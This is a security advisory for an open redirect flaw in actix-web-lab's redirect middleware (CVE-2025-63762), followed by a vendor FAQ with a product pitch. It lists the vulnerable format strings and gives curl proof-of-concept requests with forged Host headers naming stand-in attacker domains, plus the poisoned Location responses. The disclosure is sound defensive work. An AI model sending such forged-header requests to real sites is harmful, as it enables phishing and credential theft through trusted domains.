GHSA-VHJ5-X93P-67JW

actix-web-lab redirect middleware uses request-derived host information to construct absolute redirect URLs (for example, https://{hostname}{path}). In deployments without strict host allowlisting, an attacker can supply a malicious Host header and poison the Location response header, causing open redirect/phishing behavior.

CVE

Assigned CVE ID: CVE-2025-63762

Details

The issue is in redirect middleware paths that construct absolute URLs from req.connection_info():

1. actix-web-lab/src/redirect_to_https.rs (around lines 119-132)

   • let host = conn_info.host();
   • format!("https://{hostname}{path}")
   • format!("https://{hostname}:{port}{path}")

2. actix-web-lab/src/redirect_to_www.rs (around lines 30-35)

   • format!("{scheme}://www.{host}{path}")

3. actix-web-lab/src/redirect_to_non_www.rs (around lines 30-34)

   • format!("{scheme}://{host_no_www}{path}")

Because host values come from request connection metadata, untrusted Host input can influence redirect targets when deployment-side host validation is missing.

PoC

Environment used for validation:

• Local minimal Actix apps using actix-web-lab middleware
• RedirectHttps: http://127.0.0.1:18080
• redirect_to_www: http://127.0.0.1:18081
• redirect_to_non_www: http://127.0.0.1:18082

Reproduction (RedirectHttps):

curl.exe -i -s "http://127.0.0.1:18080/test" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://attacker.example/test

Additional verification:

curl.exe -i -s "http://127.0.0.1:18080/abc/def" -H "Host: evil.example:9999"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://evil.example/abc/def

Reproduction (redirect_to_www):

curl.exe -i -s "http://127.0.0.1:18081/hello" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://www.attacker.example/hello

Reproduction (redirect_to_non_www):

curl.exe -i -s "http://127.0.0.1:18082/path" -H "Host: www.attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://attacker.example/path

This is a Host header poisoning / open redirect issue. Users can be redirected to attacker-controlled domains, enabling phishing and trust-boundary abuse. Any application using these middleware paths without strict host validation (proxy/app allowlisting) is impacted.

Untrusted input controls a URL used for redirection, which can forward users to attacker-controlled sites. Typical impact: phishing and credential harvesting via a trusted domain.

GHSA-VHJ5-X93P-67JW has a CVSS score of 5.4 (Medium). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.26.0); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is GHSA-VHJ5-X93P-67JW? GHSA-VHJ5-X93P-67JW is a medium-severity open redirect vulnerability in actix-web-lab (rust), affecting versions <= 0.25.0. It is fixed in 0.26.0. Untrusted input controls a URL used for redirection, which can forward users to attacker-controlled sites.
2. How severe is GHSA-VHJ5-X93P-67JW? GHSA-VHJ5-X93P-67JW has a CVSS score of 5.4 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of actix-web-lab are affected by GHSA-VHJ5-X93P-67JW? actix-web-lab (rust) versions <= 0.25.0 is affected.
4. Is there a fix for GHSA-VHJ5-X93P-67JW? Yes. GHSA-VHJ5-X93P-67JW is fixed in 0.26.0. Upgrade to this version or later.
5. Is GHSA-VHJ5-X93P-67JW exploitable, and should I be worried? Whether GHSA-VHJ5-X93P-67JW is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether GHSA-VHJ5-X93P-67JW is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix GHSA-VHJ5-X93P-67JW? Upgrade actix-web-lab to 0.26.0 or later.